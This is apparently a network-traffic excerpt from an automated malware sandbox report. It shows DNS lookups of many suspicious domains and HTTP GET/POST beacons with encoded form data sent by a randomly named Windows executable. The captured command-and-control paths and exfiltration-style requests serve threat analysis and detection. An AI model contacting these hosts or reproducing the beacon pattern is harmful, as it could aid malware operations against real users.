Nov 24, 2024 08:12:47.321924925 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:47.321944952 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:47.322057962 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:47.322093010 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:47.322218895 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:47.322232962 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:47.322279930 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:47.322307110 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:47.322359085 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:48.715939045 CET	50045	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:48.821084976 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:48.822192907 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:48.824199915 CET	50045	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:48.824199915 CET	50045	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:48.835684061 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:48.840004921 CET	50045	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:49.731858969 CET	50046	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:49.851383924 CET	80	50046	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:49.851469994 CET	50046	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:49.863296032 CET	50046	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:49.982877016 CET	80	50046	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:51.492211103 CET	80	50046	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:51.493390083 CET	80	50046	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:51.493441105 CET	50046	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:51.495502949 CET	50046	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:51.614918947 CET	80	50046	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:57.125539064 CET	50047	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:12:57.245028973 CET	80	50047	194.58.112.174	192.168.2.4
Nov 24, 2024 08:12:57.245187044 CET	50047	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:12:57.261665106 CET	50047	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:12:57.381109953 CET	80	50047	194.58.112.174	192.168.2.4
Nov 24, 2024 08:12:58.667351961 CET	80	50047	194.58.112.174	192.168.2.4
Nov 24, 2024 08:12:58.667390108 CET	80	50047	194.58.112.174	192.168.2.4
Nov 24, 2024 08:12:58.667402983 CET	80	50047	194.58.112.174	192.168.2.4
Nov 24, 2024 08:12:58.667418003 CET	80	50047	194.58.112.174	192.168.2.4
Nov 24, 2024 08:12:58.667448044 CET	50047	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:12:58.667512894 CET	50047	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:12:58.775583029 CET	50047	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:12:59.794177055 CET	50048	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:12:59.913624048 CET	80	50048	194.58.112.174	192.168.2.4
Nov 24, 2024 08:12:59.913798094 CET	50048	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:12:59.929430962 CET	50048	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:00.049213886 CET	80	50048	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:01.334291935 CET	80	50048	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:01.334316969 CET	80	50048	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:01.334328890 CET	80	50048	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:01.334383965 CET	50048	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:01.334427118 CET	80	50048	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:01.334496975 CET	50048	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:01.430687904 CET	50048	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:02.449644089 CET	50049	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:02.570218086 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:02.570502996 CET	50049	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:02.588238955 CET	50049	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:02.707758904 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:02.707887888 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:02.707937956 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:02.708009958 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:02.708034039 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:02.708134890 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:02.708139896 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:02.708235025 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:02.708256960 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:03.996877909 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:03.996937037 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:03.996944904 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:03.997524977 CET	50049	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:04.121469021 CET	80	50049	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:04.125524044 CET	50049	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:04.192100048 CET	50049	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:05.200629950 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:05.320235968 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:05.320415020 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:05.331769943 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:05.451273918 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.695780993 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.695863008 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.695931911 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.696033001 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.696046114 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.696046114 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:06.696119070 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:06.696158886 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.696229935 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.696240902 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.696250916 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.696274996 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:06.696320057 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:06.696343899 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.696551085 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:06.697087049 CET	80	50050	194.58.112.174	192.168.2.4
Nov 24, 2024 08:13:06.697160006 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:07.093847990 CET	50050	80	192.168.2.4	194.58.112.174
Nov 24, 2024 08:13:07.213340998 CET	80	50050	194.58.112.174	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 08:09:48.738868952 CET	53165	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:09:49.466728926 CET	53	53165	1.1.1.1	192.168.2.4
Nov 24, 2024 08:10:05.809586048 CET	56520	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:10:06.821046114 CET	56520	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:10:06.911978006 CET	53	56520	1.1.1.1	192.168.2.4
Nov 24, 2024 08:10:06.958044052 CET	53	56520	1.1.1.1	192.168.2.4
Nov 24, 2024 08:10:21.700572968 CET	63963	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:10:22.711757898 CET	63963	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:10:23.138458014 CET	53	63963	1.1.1.1	192.168.2.4
Nov 24, 2024 08:10:23.138540030 CET	53	63963	1.1.1.1	192.168.2.4
Nov 24, 2024 08:10:37.903037071 CET	52645	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:10:38.857002020 CET	53	52645	1.1.1.1	192.168.2.4
Nov 24, 2024 08:10:53.215893984 CET	58265	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:10:53.693028927 CET	53	58265	1.1.1.1	192.168.2.4
Nov 24, 2024 08:11:08.076010942 CET	49467	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:11:09.086733103 CET	49467	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:11:09.214426994 CET	53	49467	1.1.1.1	192.168.2.4
Nov 24, 2024 08:11:09.224534035 CET	53	49467	1.1.1.1	192.168.2.4
Nov 24, 2024 08:11:23.983711958 CET	61089	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:11:24.977487087 CET	61089	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:11:25.977404118 CET	61089	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:11:26.282562971 CET	53	61089	1.1.1.1	192.168.2.4
Nov 24, 2024 08:11:26.282581091 CET	53	61089	1.1.1.1	192.168.2.4
Nov 24, 2024 08:11:26.282588959 CET	53	61089	1.1.1.1	192.168.2.4
Nov 24, 2024 08:11:41.013704062 CET	52786	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:11:41.430565119 CET	53	52786	1.1.1.1	192.168.2.4
Nov 24, 2024 08:11:55.911535025 CET	54141	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:11:56.402055025 CET	53	54141	1.1.1.1	192.168.2.4
Nov 24, 2024 08:12:10.668520927 CET	54926	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:12:11.344993114 CET	53	54926	1.1.1.1	192.168.2.4
Nov 24, 2024 08:12:25.841737986 CET	53681	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:12:26.197191000 CET	53	53681	1.1.1.1	192.168.2.4
Nov 24, 2024 08:12:40.967271090 CET	63680	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:12:41.722187042 CET	53	63680	1.1.1.1	192.168.2.4
Nov 24, 2024 08:12:56.513447046 CET	65221	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:12:57.122581959 CET	53	65221	1.1.1.1	192.168.2.4
Nov 24, 2024 08:13:12.106703997 CET	51862	53	192.168.2.4	1.1.1.1
Nov 24, 2024 08:13:12.430054903 CET	53	51862	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 08:09:48.738868952 CET	192.168.2.4	1.1.1.1	0x4cfe	Standard query (0)	www.grandesofertas.fun	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:05.809586048 CET	192.168.2.4	1.1.1.1	0x22cb	Standard query (0)	www.jijievo.site	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.821046114 CET	192.168.2.4	1.1.1.1	0x22cb	Standard query (0)	www.jijievo.site	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:21.700572968 CET	192.168.2.4	1.1.1.1	0x32a7	Standard query (0)	www.ytsd88.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:22.711757898 CET	192.168.2.4	1.1.1.1	0x32a7	Standard query (0)	www.ytsd88.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:37.903037071 CET	192.168.2.4	1.1.1.1	0x9a90	Standard query (0)	www.bpgroup.site	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:53.215893984 CET	192.168.2.4	1.1.1.1	0x9aa4	Standard query (0)	www.fortevision.xyz	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:08.076010942 CET	192.168.2.4	1.1.1.1	0x2532	Standard query (0)	www.rtpterbaruwaktu3.xyz	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:09.086733103 CET	192.168.2.4	1.1.1.1	0x2532	Standard query (0)	www.rtpterbaruwaktu3.xyz	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:23.983711958 CET	192.168.2.4	1.1.1.1	0xf5d8	Standard query (0)	www.prhmcjdz.tokyo	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:24.977487087 CET	192.168.2.4	1.1.1.1	0xf5d8	Standard query (0)	www.prhmcjdz.tokyo	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:25.977404118 CET	192.168.2.4	1.1.1.1	0xf5d8	Standard query (0)	www.prhmcjdz.tokyo	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:41.013704062 CET	192.168.2.4	1.1.1.1	0x1650	Standard query (0)	www.connecty.live	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:55.911535025 CET	192.168.2.4	1.1.1.1	0x58ee	Standard query (0)	www.tals.xyz	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:10.668520927 CET	192.168.2.4	1.1.1.1	0x9316	Standard query (0)	www.50food.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:25.841737986 CET	192.168.2.4	1.1.1.1	0x1f7f	Standard query (0)	www.zriaraem-skiry.sbs	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:40.967271090 CET	192.168.2.4	1.1.1.1	0x6634	Standard query (0)	www.nmgzjwh.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:56.513447046 CET	192.168.2.4	1.1.1.1	0x7c56	Standard query (0)	www.sklad-iq.online	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:13:12.106703997 CET	192.168.2.4	1.1.1.1	0x7507	Standard query (0)	www.supernutra01.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 08:09:49.466728926 CET	1.1.1.1	192.168.2.4	0x4cfe	No error (0)	www.grandesofertas.fun	entri-domains.clickmax.io		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:09:49.466728926 CET	1.1.1.1	192.168.2.4	0x4cfe	No error (0)	entri-domains.clickmax.io	ssl.goentri.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:09:49.466728926 CET	1.1.1.1	192.168.2.4	0x4cfe	No error (0)	ssl.goentri.com		76.223.74.74	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:09:49.466728926 CET	1.1.1.1	192.168.2.4	0x4cfe	No error (0)	ssl.goentri.com		13.248.221.243	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.911978006 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	www.jijievo.site	all.wjscdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:10:06.911978006 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.90.58.209	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.911978006 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.205.143.51	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.911978006 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.205.156.26	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.911978006 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.205.159.116	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.911978006 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		38.54.112.227	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.911978006 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.90.35.240	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.958044052 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	www.jijievo.site	all.wjscdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:10:06.958044052 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.90.58.209	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.958044052 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.205.143.51	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.958044052 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		38.54.112.227	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.958044052 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.205.159.116	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.958044052 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.205.156.26	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:06.958044052 CET	1.1.1.1	192.168.2.4	0x22cb	No error (0)	all.wjscdn.com		154.90.35.240	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:23.138458014 CET	1.1.1.1	192.168.2.4	0x32a7	No error (0)	www.ytsd88.top		47.76.213.197	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:23.138540030 CET	1.1.1.1	192.168.2.4	0x32a7	No error (0)	www.ytsd88.top		47.76.213.197	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:38.857002020 CET	1.1.1.1	192.168.2.4	0x9a90	No error (0)	www.bpgroup.site	bpgroup.site		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:10:38.857002020 CET	1.1.1.1	192.168.2.4	0x9a90	No error (0)	bpgroup.site		74.48.143.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:53.693028927 CET	1.1.1.1	192.168.2.4	0x9aa4	No error (0)	www.fortevision.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:10:53.693028927 CET	1.1.1.1	192.168.2.4	0x9aa4	No error (0)	www.fortevision.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:09.214426994 CET	1.1.1.1	192.168.2.4	0x2532	No error (0)	www.rtpterbaruwaktu3.xyz	rtpterbaruwaktu3.xyz		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:11:09.214426994 CET	1.1.1.1	192.168.2.4	0x2532	No error (0)	rtpterbaruwaktu3.xyz		103.21.221.87	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:09.224534035 CET	1.1.1.1	192.168.2.4	0x2532	No error (0)	www.rtpterbaruwaktu3.xyz	rtpterbaruwaktu3.xyz		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:11:09.224534035 CET	1.1.1.1	192.168.2.4	0x2532	No error (0)	rtpterbaruwaktu3.xyz		103.21.221.87	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:26.282562971 CET	1.1.1.1	192.168.2.4	0xf5d8	No error (0)	www.prhmcjdz.tokyo	ymx01.cn		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:11:26.282562971 CET	1.1.1.1	192.168.2.4	0xf5d8	No error (0)	ymx01.cn		8.210.46.21	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:26.282581091 CET	1.1.1.1	192.168.2.4	0xf5d8	No error (0)	www.prhmcjdz.tokyo	ymx01.cn		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:11:26.282581091 CET	1.1.1.1	192.168.2.4	0xf5d8	No error (0)	ymx01.cn		8.210.46.21	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:26.282588959 CET	1.1.1.1	192.168.2.4	0xf5d8	No error (0)	www.prhmcjdz.tokyo	ymx01.cn		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:11:26.282588959 CET	1.1.1.1	192.168.2.4	0xf5d8	No error (0)	ymx01.cn		8.210.46.21	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:41.430565119 CET	1.1.1.1	192.168.2.4	0x1650	No error (0)	www.connecty.live		203.161.43.228	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:56.402055025 CET	1.1.1.1	192.168.2.4	0x58ee	No error (0)	www.tals.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:11:56.402055025 CET	1.1.1.1	192.168.2.4	0x58ee	No error (0)	www.tals.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:11.344993114 CET	1.1.1.1	192.168.2.4	0x9316	No error (0)	www.50food.com		147.255.21.187	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:26.197191000 CET	1.1.1.1	192.168.2.4	0x1f7f	No error (0)	www.zriaraem-skiry.sbs		104.21.42.77	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:26.197191000 CET	1.1.1.1	192.168.2.4	0x1f7f	No error (0)	www.zriaraem-skiry.sbs		172.67.159.61	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:41.722187042 CET	1.1.1.1	192.168.2.4	0x6634	No error (0)	www.nmgzjwh.net		172.67.168.228	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:41.722187042 CET	1.1.1.1	192.168.2.4	0x6634	No error (0)	www.nmgzjwh.net		172.64.171.187	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:12:57.122581959 CET	1.1.1.1	192.168.2.4	0x7c56	No error (0)	www.sklad-iq.online		194.58.112.174	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:13:12.430054903 CET	1.1.1.1	192.168.2.4	0x7507	No error (0)	www.supernutra01.online		172.67.220.36	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:13:12.430054903 CET	1.1.1.1	192.168.2.4	0x7507	No error (0)	www.supernutra01.online		104.21.24.198	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.grandesofertas.fun

www.jijievo.site

www.ytsd88.top

www.bpgroup.site

www.fortevision.xyz

www.rtpterbaruwaktu3.xyz

www.prhmcjdz.tokyo

www.connecty.live

www.tals.xyz

www.50food.com

www.zriaraem-skiry.sbs

www.nmgzjwh.net

www.sklad-iq.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	76.223.74.74	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:09:49.603538990 CET	466	OUT	GET /wu6o/?3vNdCBvX=PAJ2EBywaoPRtAOAuLkHmGqEo3O5GOPxYR74cZ8tmddFXtcUCShy8K9wuzURMr8ccmGJKuqH2xFlcoIZXBvtCvBZNCCQMFI+vTFboLP2ZRmMaANZD1baSXk=&etx=BXy4elO0X HTTP/1.1 Host: www.grandesofertas.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:09:50.755297899 CET	600	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 24 Nov 2024 07:09:50 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.grandesofertas.fun/wu6o/?3vNdCBvX=PAJ2EBywaoPRtAOAuLkHmGqEo3O5GOPxYR74cZ8tmddFXtcUCShy8K9wuzURMr8ccmGJKuqH2xFlcoIZXBvtCvBZNCCQMFI+vTFboLP2ZRmMaANZD1baSXk=&etx=BXy4elO0X X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49759	154.90.58.209	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:07.050307989 CET	722	OUT	POST /z9pi/ HTTP/1.1 Host: www.jijievo.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.jijievo.site Referer: http://www.jijievo.site/z9pi/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 76 63 31 65 66 5a 42 79 79 30 2f 47 72 68 6b 42 67 61 47 34 56 69 67 46 54 47 62 34 4d 44 66 62 6c 4c 51 31 58 4c 62 41 31 42 64 30 75 67 74 72 49 37 45 34 53 78 6b 69 44 50 79 73 6c 6c 2f 4c 43 75 54 72 73 6d 43 51 66 52 78 6a 35 4f 54 74 46 2b 66 30 69 41 55 6b 6f 2f 48 7a 63 52 4a 6a 33 49 4f 62 4d 53 7a 59 6c 45 34 46 57 2b 67 48 67 77 33 63 68 50 43 6d 48 52 53 6d 32 77 68 34 4b 48 30 72 64 6e 49 69 76 6c 2b 34 55 2b 33 70 31 73 71 6d 66 35 77 6d 4e 63 76 57 36 4e 64 61 64 30 42 77 37 65 79 68 4c 48 58 78 32 76 54 77 41 37 47 6a 32 61 37 57 56 6f 48 44 6f 70 46 42 38 67 3d 3d Data Ascii: 3vNdCBvX=vc1efZByy0/GrhkBgaG4VigFTGb4MDfblLQ1XLbA1Bd0ugtrI7E4SxkiDPysll/LCuTrsmCQfRxj5OTtF+f0iAUko/HzcRJj3IObMSzYlE4FW+gHgw3chPCmHRSm2wh4KH0rdnIivl+4U+3p1sqmf5wmNcvW6Ndad0Bw7eyhLHXx2vTwA7Gj2a7WVoHDopFB8g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49765	154.90.58.209	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:10:09.706563950 CET	742	OUT	POST /z9pi/ HTTP/1.1 Host: www.jijievo.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.jijievo.site Referer: http://www.jijievo.site/z9pi/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 76 63 31 65 66 5a 42 79 79 30 2f 47 71 42 55 42 37 35 75 34 5a 53 67 43 50 57 62 34 65 44 65 7a 6c 4c 63 31 58 4b 66 51 31 79 35 30 75 46 4a 72 4a 2f 77 34 54 78 6b 69 58 2f 7a 6f 34 31 2f 4d 43 75 65 65 73 6e 75 51 66 53 4e 6a 35 4d 4c 74 46 4a 72 33 6a 51 55 6d 6b 66 48 39 43 68 4a 6a 33 49 4f 62 4d 53 6e 2b 6c 45 77 46 57 4e 34 48 67 53 66 54 69 50 43 6c 4f 78 53 6d 6e 67 68 38 4b 48 30 46 64 6d 55 63 76 6d 47 34 55 2b 48 70 32 39 71 6e 45 70 77 67 43 38 75 41 32 4f 6c 55 45 30 70 2b 37 74 71 77 